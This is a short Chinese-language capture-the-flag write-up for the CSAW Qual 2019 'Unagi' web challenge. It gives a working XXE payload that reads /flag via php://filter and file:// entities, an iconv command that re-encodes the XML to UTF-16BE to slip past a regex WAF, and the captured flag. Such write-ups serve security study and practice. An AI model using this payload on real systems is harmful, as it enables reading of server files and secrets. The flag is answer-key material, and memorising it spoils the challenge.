[CSAWQual 2019]Web_Unagi
- 1 解题流程
- 1.1 分析
- 1.2 解题
- 2 思考总结
1 解题流程
这篇博客讲了xml进行编码转换绕过的原理:https://www.shawroot.cc/156.html
1.1 分析
- 页面可以上传,上传一句话php失败,点击示例发现是xml格式,那么就是XXE注入了
- 点击about得到flag位置: Flag is located at /flag, come get it
1.2 解题
- 编写XXE注入文件,以xml结尾
<?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag" >]> 或 <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <username>bob</username> <password>passwd2</password> <name>Bob</name> <email>bob@fakesite.com</email> <group>CSAW2019</group> <intro>&xxe;</intro> </user> </users>
- 尝试上传,发现还是被拦截了,这时候可以查询如何绕过WAF
xml文档不仅可以用UTF-8编码,也可以用UTF-16、UTF-32和EBCDIC编码。
在这些编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
在linux中使用命令将xml转换为16进制
cat 1.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml - 上传即可获取flag
flag{5325a120-326c-4829-8778-22c54362a7b4}
2 思考总结
编写xml注意点:
1、属性名大小写要区分
2、flag很长,放在其他属性中只能输出部分,而intro意为introduce个人简介,可以输出长内容